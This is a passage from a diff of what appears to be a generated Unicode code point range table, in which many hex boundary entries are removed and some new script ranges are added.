 	0xF49,
 	0xF6D,
@@ -45134,8 +162198,6 @@
 	0xF71,
 	0xF85,
 	0xF86,
-	0xF88,
-	0xF8D,
 	0xF98,
 	0xF99,
 	0xFBD,
@@ -45142,27 +162204,8 @@
 	0xFC6,
 	0xFC7,
 	0x1000,
-	0x102B,
-	0x103F,
-	0x1040,
 	0x104A,
-	0x104C,
 	0x1050,
-	0x1056,
-	0x105A,
-	0x105E,
-	0x1061,
-	0x1062,
-	0x1065,
-	0x1067,
-	0x106E,
-	0x1071,
-	0x1075,
-	0x1082,
-	0x108E,
-	0x108F,
-	0x1090,
-	0x109A,
 	0x109E,
 	0x10A0,
 	0x10C6,
@@ -45206,10 +162249,6 @@
 	0x135B,
 	0x135D,
 	0x1360,
-	0x1362,
-	0x1363,
-	0x1367,
-	0x1369,
 	0x1380,
 	0x1390,
 	0x13A0,
@@ -45218,12 +162257,10 @@
 	0x13FE,
 	0x1401,
 	0x166D,
-	0x166E,
 	0x166F,
 	0x1680,
 	0x1681,
 	0x169B,
-	0x169D,
 	0x16A0,
 	0x16EB,
 	0x16EE,
@@ -45231,14 +162268,10 @@
 	0x1700,
 	0x170D,
 	0x170E,
-	0x1712,
 	0x1715,
 	0x1720,
-	0x1732,
 	0x1735,
-	0x1737,
 	0x1740,
-	0x1752,
 	0x1754,
 	0x1760,
 	0x176D,
@@ -45247,33 +162280,20 @@
 	0x1772,
 	0x1774,
 	0x1780,
-	0x17B4,
 	0x17D4,
 	0x17D7,
 	0x17D8,
 	0x17DC,
-	0x17DD,
 	0x17DE,
 	0x17E0,
 	0x17EA,
-	0x1802,
-	0x1803,
-	0x1804,
-	0x1808,
-	0x1809,
-	0x180A,
 	0x180B,
 	0x180E,
-	0x180F,
 	0x1810,
 	0x181A,
 	0x1820,
 	0x1878,
 	0x1880,
-	0x1885,
-	0x1887,
-	0x18A9,
-	0x18AA,
 	0x18AB,
 	0x18B0,
 	0x18F6,
@@ -45283,9 +162303,7 @@
 	0x192C,
 	0x1930,
 	0x193C,
-	0x1944,
 	0x1946,
-	0x1950,
 	0x196E,
 	0x1970,
 	0x1975,
@@ -45296,53 +162314,32 @@
 	0x19D0,
 	0x19DA,
 	0x1A00,
-	0x1A17,
 	0x1A1C,
 	0x1A20,
-	0x1A55,
 	0x1A5F,
 	0x1A60,
 	0x1A7D,
 	0x1A7F,
-	0x1A80,
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
 	0x1AA7,
 	0x1AA8,
-	0x1AAC,
 	0x1AB0,
-	0x1ABF,
+	0x1ABE,
 	0x1B00,
-	0x1B05,
-	0x1B34,
-	0x1B45,
 	0x1B4C,
 	0x1B50,
 	0x1B5A,
-	0x1B5C,
-	0x1B5E,
-	0x1B60,
 	0x1B6B,
 	0x1B74,
 	0x1B80,
-	0x1B83,
-	0x1BA1,
-	0x1BAE,
-	0x1BB0,
-	0x1BBA,
-	0x1BE6,
 	0x1BF4,
 	0x1C00,
-	0x1C24,
 	0x1C38,
-	0x1C3B,
-	0x1C3D,
 	0x1C40,
 	0x1C4A,
 	0x1C4D,
-	0x1C50,
-	0x1C5A,
 	0x1C7E,
 	0x1C80,
 	0x1C89,
@@ -45349,276 +162346,14 @@
 	0x1CD0,
 	0x1CD3,
 	0x1CD4,
-	0x1CE9,
-	0x1CED,
-	0x1CEE,
-	0x1CF2,
-	0x1CF5,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DC0,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
-	0x1E00,
-	0x1E01,
-	0x1E02,
-	0x1E03,
-	0x1E04,
-	0x1E05,
-	0x1E06,
-	0x1E07,
-	0x1E08,
-	0x1E09,
-	0x1E0A,
-	0x1E0B,
-	0x1E0C,
-	0x1E0D,
-	0x1E0E,
-	0x1E0F,
-	0x1E10,
-	0x1E11,
-	0x1E12,
-	0x1E13,
-	0x1E14,
-	0x1E15,
-	0x1E16,
-	0x1E17,
-	0x1E18,
-	0x1E19,
-	0x1E1A,
-	0x1E1B,
-	0x1E1C,
-	0x1E1D,
-	0x1E1E,
-	0x1E1F,
-	0x1E20,
-	0x1E21,
-	0x1E22,
-	0x1E23,
-	0x1E24,
-	0x1E25,
-	0x1E26,
-	0x1E27,
-	0x1E28,
-	0x1E29,
-	0x1E2A,
-	0x1E2B,
-	0x1E2C,
-	0x1E2D,
-	0x1E2E,
-	0x1E2F,
-	0x1E30,
-	0x1E31,
-	0x1E32,
-	0x1E33,
-	0x1E34,
-	0x1E35,
-	0x1E36,
-	0x1E37,
-	0x1E38,
-	0x1E39,
-	0x1E3A,
-	0x1E3B,
-	0x1E3C,
-	0x1E3D,
-	0x1E3E,
-	0x1E3F,
-	0x1E40,
-	0x1E41,
-	0x1E42,
-	0x1E43,
-	0x1E44,
-	0x1E45,
-	0x1E46,
-	0x1E47,
-	0x1E48,
-	0x1E49,
-	0x1E4A,
-	0x1E4B,
-	0x1E4C,
-	0x1E4D,
-	0x1E4E,
-	0x1E4F,
-	0x1E50,
-	0x1E51,
-	0x1E52,
-	0x1E53,
-	0x1E54,
-	0x1E55,
-	0x1E56,
-	0x1E57,
-	0x1E58,
-	0x1E59,
-	0x1E5A,
-	0x1E5B,
-	0x1E5C,
-	0x1E5D,
-	0x1E5E,
-	0x1E5F,
-	0x1E60,
-	0x1E61,
-	0x1E62,
-	0x1E63,
-	0x1E64,
-	0x1E65,
-	0x1E66,
-	0x1E67,
-	0x1E68,
-	0x1E69,
-	0x1E6A,
-	0x1E6B,
-	0x1E6C,
-	0x1E6D,
-	0x1E6E,
-	0x1E6F,
-	0x1E70,
-	0x1E71,
-	0x1E72,
-	0x1E73,
-	0x1E74,
-	0x1E75,
-	0x1E76,
-	0x1E77,
-	0x1E78,
-	0x1E79,
-	0x1E7A,
-	0x1E7B,
-	0x1E7C,
-	0x1E7D,
-	0x1E7E,
-	0x1E7F,
-	0x1E80,
-	0x1E81,
-	0x1E82,
-	0x1E83,
-	0x1E84,
-	0x1E85,
-	0x1E86,
-	0x1E87,
-	0x1E88,
-	0x1E89,
-	0x1E8A,
-	0x1E8B,
-	0x1E8C,
-	0x1E8D,
-	0x1E8E,
-	0x1E8F,
-	0x1E90,
-	0x1E91,
-	0x1E92,
-	0x1E93,
-	0x1E94,
-	0x1E95,
-	0x1E9E,
-	0x1E9F,
-	0x1EA0,
-	0x1EA1,
-	0x1EA2,
-	0x1EA3,
-	0x1EA4,
-	0x1EA5,
-	0x1EA6,
-	0x1EA7,
-	0x1EA8,
-	0x1EA9,
-	0x1EAA,
-	0x1EAB,
-	0x1EAC,
-	0x1EAD,
-	0x1EAE,
-	0x1EAF,
-	0x1EB0,
-	0x1EB1,
-	0x1EB2,
-	0x1EB3,
-	0x1EB4,
-	0x1EB5,
-	0x1EB6,
-	0x1EB7,
-	0x1EB8,
-	0x1EB9,
-	0x1EBA,
-	0x1EBB,
-	0x1EBC,
-	0x1EBD,
-	0x1EBE,
-	0x1EBF,
-	0x1EC0,
-	0x1EC1,
-	0x1EC2,
-	0x1EC3,
-	0x1EC4,
-	0x1EC5,
-	0x1EC6,
-	0x1EC7,
-	0x1EC8,
-	0x1EC9,
-	0x1ECA,
-	0x1ECB,
-	0x1ECC,
-	0x1ECD,
-	0x1ECE,
-	0x1ECF,
-	0x1ED0,
-	0x1ED1,
-	0x1ED2,
-	0x1ED3,
-	0x1ED4,
-	0x1ED5,
-	0x1ED6,
-	0x1ED7,
-	0x1ED8,
-	0x1ED9,
-	0x1EDA,
-	0x1EDB,
-	0x1EDC,
-	0x1EDD,
-	0x1EDE,
-	0x1EDF,
-	0x1EE0,
-	0x1EE1,
-	0x1EE2,
-	0x1EE3,
-	0x1EE4,
-	0x1EE5,
-	0x1EE6,
-	0x1EE7,
-	0x1EE8,
-	0x1EE9,
-	0x1EEA,
-	0x1EEB,
-	0x1EEC,
-	0x1EED,
-	0x1EEE,
-	0x1EEF,
-	0x1EF0,
-	0x1EF1,
-	0x1EF2,
-	0x1EF3,
-	0x1EF4,
-	0x1EF5,
-	0x1EF6,
-	0x1EF7,
-	0x1EF8,
-	0x1EF9,
-	0x1EFA,
-	0x1EFB,
-	0x1EFC,
-	0x1EFD,
-	0x1EFE,
-	0x1EFF,
-	0x1F08,
-	0x1F10,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
 	0x1F20,
-	0x1F28,
-	0x1F30,
-	0x1F38,
-	0x1F40,
 	0x1F46,
 	0x1F48,
 	0x1F4E,
@@ -45631,20 +162366,10 @@
 	0x1F5D,
 	0x1F5E,
 	0x1F5F,
-	0x1F60,
-	0x1F68,
-	0x1F70,
 	0x1F7E,
 	0x1F80,
-	0x1F88,
-	0x1F90,
-	0x1F98,
-	0x1FA0,
-	0x1FA8,
-	0x1FB0,
 	0x1FB5,
 	0x1FB6,
-	0x1FB8,
 	0x1FBD,
 	0x1FBE,
 	0x1FBF,
@@ -45651,58 +162376,32 @@
 	0x1FC2,
 	0x1FC5,
 	0x1FC6,
-	0x1FC8,
 	0x1FCD,
 	0x1FD0,
 	0x1FD4,
 	0x1FD6,
-	0x1FD8,
 	0x1FDC,
 	0x1FE0,
-	0x1FE8,
 	0x1FED,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
-	0x1FF8,
 	0x1FFD,
-	0x2000,
-	0x200B,
-	0x200C,
-	0x200E,
-	0x2010,
-	0x2013,
-	0x2015,
-	0x2018,
-	0x2020,
-	0x2024,
-	0x2025,
-	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
-	0x2039,
-	0x203B,
-	0x203C,
-	0x203E,
-	0x2045,
-	0x2047,
-	0x204A,
-	0x205F,
-	0x2060,
-	0x2065,
-	0x2066,
-	0x2070,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
 	0x2071,
 	0x2072,
-	0x207D,
 	0x207F,
 	0x2080,
-	0x208D,
-	0x208F,
 	0x2090,
 	0x209D,
 	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
 	0x20F1,
 	0x2102,
 	0x2103,
@@ -45709,10 +162408,6 @@
 	0x2107,
 	0x2108,
 	0x210A,
-	0x210B,
-	0x210E,
-	0x2110,
-	0x2113,
 	0x2114,
 	0x2115,
 	0x2116,
@@ -45727,175 +162422,22 @@
 	0x212A,
 	0x212E,
 	0x212F,
-	0x2130,
-	0x2134,
-	0x2135,
-	0x2139,
 	0x213A,
 	0x213C,
-	0x213E,
 	0x2140,
 	0x2145,
-	0x2146,
 	0x214A,
 	0x214E,
 	0x214F,
 	0x2160,
-	0x2170,
-	0x2180,
-	0x2183,
-	0x2184,
-	0x2185,
 	0x2189,
-	0x2308,
-	0x230C,
-	0x2329,
-	0x232B,
-	0x24B6,
-	0x24D0,
-	0x24EA,
-	0x275B,
-	0x2761,
-	0x2768,
-	0x2776,
-	0x27C5,
-	0x27C7,
-	0x27E6,
-	0x27F0,
-	0x2983,
-	0x2999,
-	0x29D8,
-	0x29DC,
-	0x29FC,
-	0x29FE,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
 	0x2C5F,
 	0x2C60,
-	0x2C61,
-	0x2C62,
-	0x2C65,
-	0x2C67,
-	0x2C68,
-	0x2C69,
-	0x2C6A,
-	0x2C6B,
-	0x2C6C,
-	0x2C6D,
-	0x2C71,
-	0x2C72,
-	0x2C73,
-	0x2C75,
-	0x2C76,
-	0x2C7E,
-	0x2C81,
-	0x2C82,
-	0x2C83,
-	0x2C84,
-	0x2C85,
-	0x2C86,
-	0x2C87,
-	0x2C88,
-	0x2C89,
-	0x2C8A,
-	0x2C8B,
-	0x2C8C,
-	0x2C8D,
-	0x2C8E,
-	0x2C8F,
-	0x2C90,
-	0x2C91,
-	0x2C92,
-	0x2C93,
-	0x2C94,
-	0x2C95,
-	0x2C96,
-	0x2C97,
-	0x2C98,
-	0x2C99,
-	0x2C9A,
-	0x2C9B,
-	0x2C9C,
-	0x2C9D,
-	0x2C9E,
-	0x2C9F,
-	0x2CA0,
-	0x2CA1,
-	0x2CA2,
-	0x2CA3,
-	0x2CA4,
-	0x2CA5,
-	0x2CA6,
-	0x2CA7,
-	0x2CA8,
-	0x2CA9,
-	0x2CAA,
-	0x2CAB,
-	0x2CAC,
-	0x2CAD,
-	0x2CAE,
-	0x2CAF,
-	0x2CB0,
-	0x2CB1,
-	0x2CB2,
-	0x2CB3,
-	0x2CB4,
-	0x2CB5,
-	0x2CB6,
-	0x2CB7,
-	0x2CB8,
-	0x2CB9,
-	0x2CBA,
-	0x2CBB,
-	0x2CBC,
-	0x2CBD,
-	0x2CBE,
-	0x2CBF,
-	0x2CC0,
-	0x2CC1,
-	0x2CC2,
-	0x2CC3,
-	0x2CC4,
-	0x2CC5,
-	0x2CC6,
-	0x2CC7,
-	0x2CC8,
-	0x2CC9,
-	0x2CCA,
-	0x2CCB,
-	0x2CCC,
-	0x2CCD,
-	0x2CCE,
-	0x2CCF,
-	0x2CD0,
-	0x2CD1,
-	0x2CD2,
-	0x2CD3,
-	0x2CD4,
-	0x2CD5,
-	0x2CD6,
-	0x2CD7,
-	0x2CD8,
-	0x2CD9,
-	0x2CDA,
-	0x2CDB,
-	0x2CDC,
-	0x2CDD,
-	0x2CDE,
-	0x2CDF,
-	0x2CE0,
-	0x2CE1,
-	0x2CE2,
-	0x2CE3,
 	0x2CE5,
 	0x2CEB,
-	0x2CEC,
-	0x2CED,
-	0x2CEE,
-	0x2CEF,
-	0x2CF2,
-	0x2CF3,
 	0x2CF4,
 	0x2D00,
 	0x2D26,
@@ -45908,7 +162450,6 @@
 	0x2D6F,
 	0x2D70,
 	0x2D7F,
-	0x2D80,
 	0x2D97,
 	0x2DA0,
 	0x2DA7,
@@ -45928,31 +162469,9 @@
 	0x2DDF,
 	0x2DE0,
 	0x2E00,
-	0x2E0E,
-	0x2E1C,
-	0x2E1E,
-	0x2E20,
-	0x2E2A,
-	0x2E2E,
-	0x2E2F,
-	0x2E30,
-	0x2E3C,
-	0x2E3D,
-	0x2E42,
-	0x2E43,
-	0x3000,
-	0x3001,
-	0x3002,
-	0x3003,
 	0x3005,
 	0x3008,
-	0x3012,
-	0x3014,
-	0x301C,
-	0x301D,
-	0x3020,
 	0x3021,
-	0x302A,
 	0x3030,
 	0x3031,
 	0x3036,
@@ -45969,7 +162488,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -45979,261 +162498,38 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
 	0xA4FE,
-	0xA4FF,
 	0xA500,
 	0xA60D,
-	0xA60E,
 	0xA610,
-	0xA620,
-	0xA62A,
 	0xA62C,
 	0xA640,
-	0xA641,
-	0xA642,
-	0xA643,
-	0xA644,
-	0xA645,
-	0xA646,
-	0xA647,
-	0xA648,
-	0xA649,
-	0xA64A,
-	0xA64B,
-	0xA64C,
-	0xA64D,
-	0xA64E,
-	0xA64F,
-	0xA650,
-	0xA651,
-	0xA652,
-	0xA653,
-	0xA654,
-	0xA655,
-	0xA656,
-	0xA657,
-	0xA658,
-	0xA659,
-	0xA65A,
-	0xA65B,
-	0xA65C,
-	0xA65D,
-	0xA65E,
-	0xA65F,
-	0xA660,
-	0xA661,
-	0xA662,
-	0xA663,
-	0xA664,
-	0xA665,
-	0xA666,
-	0xA667,
-	0xA668,
-	0xA669,
-	0xA66A,
-	0xA66B,
-	0xA66C,
-	0xA66D,
-	0xA66E,
-	0xA66F,
-	0xA673,
+	0xA670,
 	0xA674,
 	0xA67E,
 	0xA67F,
-	0xA680,
-	0xA681,
-	0xA682,
-	0xA683,
-	0xA684,
-	0xA685,
-	0xA686,
-	0xA687,
-	0xA688,
-	0xA689,
-	0xA68A,
-	0xA68B,
-	0xA68C,
-	0xA68D,
-	0xA68E,
-	0xA68F,
-	0xA690,
-	0xA691,
-	0xA692,
-	0xA693,
-	0xA694,
-	0xA695,
-	0xA696,
-	0xA697,
-	0xA698,
-	0xA699,
-	0xA69A,
-	0xA69B,
-	0xA69E,
-	0xA6A0,
-	0xA6F0,
 	0xA6F2,
-	0xA6F3,
-	0xA6F4,
-	0xA6F7,
-	0xA6F8,
 	0xA717,
 	0xA720,
 	0xA722,
-	0xA723,
-	0xA724,
-	0xA725,
-	0xA726,
-	0xA727,
-	0xA728,
-	0xA729,
-	0xA72A,
-	0xA72B,
-	0xA72C,
-	0xA72D,
-	0xA72E,
-	0xA72F,
-	0xA732,
-	0xA733,
-	0xA734,
-	0xA735,
-	0xA736,
-	0xA737,
-	0xA738,
-	0xA739,
-	0xA73A,
-	0xA73B,
-	0xA73C,
-	0xA73D,
-	0xA73E,
-	0xA73F,
-	0xA740,
-	0xA741,
-	0xA742,
-	0xA743,
-	0xA744,
-	0xA745,
-	0xA746,
-	0xA747,
-	0xA748,
-	0xA749,
-	0xA74A,
-	0xA74B,
-	0xA74C,
-	0xA74D,
-	0xA74E,
-	0xA74F,
-	0xA750,
-	0xA751,
-	0xA752,
-	0xA753,
-	0xA754,
-	0xA755,
-	0xA756,
-	0xA757,
-	0xA758,
-	0xA759,
-	0xA75A,
-	0xA75B,
-	0xA75C,
-	0xA75D,
-	0xA75E,
-	0xA75F,
-	0xA760,
-	0xA761,
-	0xA762,
-	0xA763,
-	0xA764,
-	0xA765,
-	0xA766,
-	0xA767,
-	0xA768,
-	0xA769,
-	0xA76A,
-	0xA76B,
-	0xA76C,
-	0xA76D,
-	0xA76E,
-	0xA76F,
-	0xA779,
-	0xA77A,
-	0xA77B,
-	0xA77C,
-	0xA77D,
-	0xA77F,
-	0xA780,
-	0xA781,
-	0xA782,
-	0xA783,
-	0xA784,
-	0xA785,
-	0xA786,
-	0xA787,
-	0xA788,
 	0xA789,
 	0xA78B,
-	0xA78C,
-	0xA78D,
-	0xA78E,
-	0xA78F,
-	0xA790,
-	0xA791,
-	0xA792,
-	0xA793,
-	0xA796,
-	0xA797,
-	0xA798,
-	0xA799,
-	0xA79A,
-	0xA79B,
-	0xA79C,
-	0xA79D,
-	0xA79E,
-	0xA79F,
-	0xA7A0,
-	0xA7A1,
-	0xA7A2,
-	0xA7A3,
-	0xA7A4,
-	0xA7A5,
-	0xA7A6,
-	0xA7A7,
-	0xA7A8,
-	0xA7A9,
-	0xA7AA,
 	0xA7AF,
 	0xA7B0,
-	0xA7B5,
-	0xA7B6,
-	0xA7B7,
 	0xA7B8,
 	0xA7F7,
-	0xA7F8,
-	0xA7FB,
-	0xA802,
-	0xA803,
-	0xA806,
-	0xA807,
-	0xA80B,
-	0xA80C,
-	0xA823,
 	0xA828,
 	0xA840,
 	0xA874,
-	0xA876,
-	0xA878,
 	0xA880,
-	0xA882,
-	0xA8B4,
 	0xA8C6,
-	0xA8CE,
 	0xA8D0,
 	0xA8DA,
 	0xA8E0,
-	0xA8F2,
 	0xA8F8,
 	0xA8FB,
 	0xA8FC,
@@ -46240,64 +162536,32 @@
 	0xA8FD,
 	0xA8FE,
 	0xA900,
-	0xA90A,
-	0xA926,
 	0xA92E,
-	0xA92F,
 	0xA930,
-	0xA947,
 	0xA954,
 	0xA960,
 	0xA97D,
 	0xA980,
-	0xA984,
-	0xA9B3,
 	0xA9C1,
-	0xA9C8,
-	0xA9CA,
 	0xA9CF,
-	0xA9D0,
 	0xA9DA,
 	0xA9E0,
-	0xA9E5,
-	0xA9E6,
-	0xA9F0,
-	0xA9FA,
 	0xA9FF,
 	0xAA00,
-	0xAA29,
 	0xAA37,
 	0xAA40,
-	0xAA43,
-	0xAA44,
-	0xAA4C,
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
-	0xAA5D,
 	0xAA60,
 	0xAA77,
 	0xAA7A,
-	0xAA7B,
-	0xAA7E,
-	0xAAB0,
-	0xAAB1,
-	0xAAB2,
-	0xAAB5,
-	0xAAB7,
-	0xAAB9,
-	0xAABE,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
 	0xAAC3,
 	0xAADB,
 	0xAADE,
 	0xAAE0,
-	0xAAEB,
 	0xAAF0,
 	0xAAF2,
-	0xAAF5,
 	0xAAF7,
 	0xAB01,
 	0xAB07,
@@ -46314,8 +162578,6 @@
 	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABC0,
-	0xABE3,
 	0xABEB,
 	0xABEC,
 	0xABEE,
@@ -46336,8 +162598,6 @@
 	0xFB13,
 	0xFB18,
 	0xFB1D,
-	0xFB1E,
-	0xFB1F,
 	0xFB29,
 	0xFB2A,
 	0xFB37,
@@ -46352,74 +162612,46 @@
 	0xFB46,
 	0xFBB2,
 	0xFBD3,
+	0xFC5E,
+	0xFC64,
 	0xFD3E,
-	0xFD40,
 	0xFD50,
 	0xFD90,
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFC,
+	0xFDFA,
 	0xFE00,
 	0xFE10,
-	0xFE12,
-	0xFE13,
-	0xFE14,
-	0xFE17,
-	0xFE19,
 	0xFE20,
 	0xFE30,
-	0xFE31,
 	0xFE33,
 	0xFE35,
-	0xFE45,
-	0xFE47,
-	0xFE49,
+	0xFE4D,
 	0xFE50,
-	0xFE52,
-	0xFE53,
-	0xFE55,
-	0xFE56,
-	0xFE58,
-	0xFE59,
-	0xFE5F,
-	0xFE63,
-	0xFE64,
-	0xFE70,
-	0xFE75,
-	0xFE76,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
 	0xFEFD,
-	0xFEFF,
-	0xFF00,
-	0xFF01,
-	0xFF02,
-	0xFF08,
-	0xFF0A,
-	0xFF0C,
-	0xFF0E,
-	0xFF0F,
+	0xFF10,
 	0xFF1A,
-	0xFF1B,
-	0xFF1F,
-	0xFF20,
 	0xFF21,
 	0xFF3B,
-	0xFF3C,
-	0xFF3D,
-	0xFF3E,
+	0xFF3F,
+	0xFF40,
 	0xFF41,
 	0xFF5B,
-	0xFF5C,
-	0xFF5D,
-	0xFF5E,
-	0xFF5F,
-	0xFF61,
-	0xFF62,
-	0xFF64,
-	0xFF65,
 	0xFF66,
-	0xFF9E,
-	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -46429,8 +162661,6 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
-	0xFFF9,
-	0xFFFC,
 	0x10000,
 	0x1000C,
 	0x1000D,
@@ -46457,10 +162687,9 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
-	0x10376,
 	0x1037B,
 	0x10380,
 	0x1039E,
@@ -46471,8 +162700,6 @@
 	0x103D1,
 	0x103D6,
 	0x10400,
-	0x10428,
-	0x10450,
 	0x1049E,
 	0x104A0,
 	0x104AA,
@@ -46519,12 +162746,10 @@
 	0x109BE,
 	0x109C0,
 	0x10A00,
-	0x10A01,
 	0x10A04,
 	0x10A05,
 	0x10A07,
 	0x10A0C,
-	0x10A10,
 	0x10A14,
 	0x10A15,
 	0x10A18,
@@ -46534,8 +162759,6 @@
 	0x10A3B,
 	0x10A3F,
 	0x10A40,
-	0x10A56,
-	0x10A58,
 	0x10A60,
 	0x10A7D,
 	0x10A80,
@@ -46543,7 +162766,6 @@
 	0x10AC0,
 	0x10AC8,
 	0x10AC9,
-	0x10AE5,
 	0x10AE7,
 	0x10B00,
 	0x10B36,
@@ -46560,60 +162782,35 @@
 	0x10CC0,
 	0x10CF3,
 	0x11000,
-	0x11003,
-	0x11038,
 	0x11047,
-	0x11049,
 	0x11066,
 	0x11070,
 	0x1107F,
-	0x11083,
-	0x110B0,
 	0x110BB,
-	0x110BD,
-	0x110BE,
-	0x110C2,
 	0x110D0,
 	0x110E9,
 	0x110F0,
 	0x110FA,
 	0x11100,
-	0x11103,
-	0x11127,
 	0x11135,
 	0x11136,
 	0x11140,
-	0x11141,
-	0x11144,
 	0x11150,
-	0x11173,
 	0x11174,
 	0x11176,
 	0x11177,
 	0x11180,
-	0x11183,
-	0x111B3,
-	0x111C1,
 	0x111C5,
-	0x111C7,
 	0x111CA,
 	0x111CD,
-	0x111CE,
 	0x111D0,
-	0x111DA,
 	0x111DB,
 	0x111DC,
 	0x111DD,
-	0x111DE,
-	0x111E0,
 	0x11200,
 	0x11212,
 	0x11213,
-	0x1122C,
 	0x11238,
-	0x1123A,
-	0x1123B,
-	0x1123D,
 	0x1123E,
 	0x1123F,
 	0x11280,
@@ -46626,9 +162823,7 @@
 	0x1129E,
 	0x1129F,
 	0x112A9,
-	0x112AA,
 	0x112B0,
-	0x112DF,
 	0x112EB,
 	0x112F0,
 	0x112FA,
@@ -46647,8 +162842,6 @@
 	0x11335,
 	0x1133A,
 	0x1133C,
-	0x1133D,
-	0x1133E,
 	0x11345,
 	0x11347,
 	0x11349,
@@ -46659,7 +162852,6 @@
 	0x11357,
 	0x11358,
 	0x1135D,
-	0x11362,
 	0x11364,
 	0x11366,
 	0x1136D,
@@ -46666,15 +162858,10 @@
 	0x11370,
 	0x11375,
 	0x11400,
-	0x11435,
-	0x11447,
 	0x1144B,
-	0x1144D,
 	0x11450,
 	0x1145A,
 	0x11480,
-	0x114B0,
-	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
@@ -46681,26 +162868,18 @@
 	0x114D0,
 	0x114DA,
 	0x11580,
-	0x115AF,
 	0x115B6,
 	0x115B8,
 	0x115C1,
-	0x115C2,
-	0x115C4,
-	0x115C9,
 	0x115D8,
-	0x115DC,
 	0x115DE,
 	0x11600,
-	0x11630,
 	0x11641,
-	0x11643,
 	0x11644,
 	0x11645,
 	0x11650,
 	0x1165A,
 	0x11680,
-	0x116AB,
 	0x116B8,
 	0x116C0,
 	0x116CA,
@@ -46710,25 +162889,26 @@
 	0x1172C,
 	0x11730,
 	0x1173A,
-	0x1173C,
-	0x1173F,
 	0x118A0,
-	0x118C0,
-	0x118E0,
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
 	0x11C09,
 	0x11C0A,
-	0x11C2F,
 	0x11C37,
 	0x11C38,
-	0x11C40,
 	0x11C41,
-	0x11C43,
 	0x11C50,
 	0x11C5A,
 	0x11C72,
@@ -46737,6 +162917,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -46753,20 +162947,14 @@
 	0x16A5F,
 	0x16A60,
 	0x16A6A,
-	0x16A6E,
-	0x16A70,
 	0x16AD0,
 	0x16AEE,
 	0x16AF0,
 	0x16AF5,
-	0x16AF6,
 	0x16B00,
-	0x16B30,
 	0x16B37,
-	0x16B39,
 	0x16B40,
 	0x16B44,
-	0x16B45,
 	0x16B50,
 	0x16B5A,
 	0x16B63,
@@ -46776,19 +162964,19 @@
 	0x16F00,
 	0x16F45,
 	0x16F50,
-	0x16F51,
 	0x16F7F,
 	0x16F8F,
-	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -46799,8 +162987,6 @@
 	0x1BC9A,
 	0x1BC9D,
 	0x1BC9F,
-	0x1BCA0,
-	0x1BCA4,
 	0x1D165,
 	0x1D16A,
 	0x1D16D,
@@ -46814,14 +163000,8 @@
 	0x1D242,
 	0x1D245,
 	0x1D400,
-	0x1D41A,
-	0x1D434,
-	0x1D44E,
 	0x1D455,
 	0x1D456,
-	0x1D468,
-	0x1D482,
-	0x1D49C,
 	0x1D49D,
 	0x1D49E,
 	0x1D4A0,
@@ -46832,7 +163012,6 @@
 	0x1D4A9,
 	0x1D4AD,
 	0x1D4AE,
-	0x1D4B6,
 	0x1D4BA,
 	0x1D4BB,
 	0x1D4BC,
@@ -46839,9 +163018,6 @@
 	0x1D4BD,
 	0x1D4C4,
 	0x1D4C5,
-	0x1D4D0,
-	0x1D4EA,
-	0x1D504,
 	0x1D506,
 	0x1D507,
 	0x1D50B,
@@ -46850,7 +163026,6 @@
 	0x1D516,
 	0x1D51D,
 	0x1D51E,
-	0x1D538,
 	0x1D53A,
 	0x1D53B,
 	0x1D53F,
@@ -46861,18 +163036,6 @@
 	0x1D54A,
 	0x1D551,
 	0x1D552,
-	0x1D56C,
-	0x1D586,
-	0x1D5A0,
-	0x1D5BA,
-	0x1D5D4,
-	0x1D5EE,
-	0x1D608,
-	0x1D622,
-	0x1D63C,
-	0x1D656,
-	0x1D670,
-	0x1D68A,
 	0x1D6A6,
 	0x1D6A8,
 	0x1D6C1,
@@ -46879,28 +163042,22 @@
 	0x1D6C2,
 	0x1D6DB,
 	0x1D6DC,
-	0x1D6E2,
 	0x1D6FB,
 	0x1D6FC,
 	0x1D715,
 	0x1D716,
-	0x1D71C,
 	0x1D735,
 	0x1D736,
 	0x1D74F,
 	0x1D750,
-	0x1D756,
 	0x1D76F,
 	0x1D770,
 	0x1D789,
 	0x1D78A,
-	0x1D790,
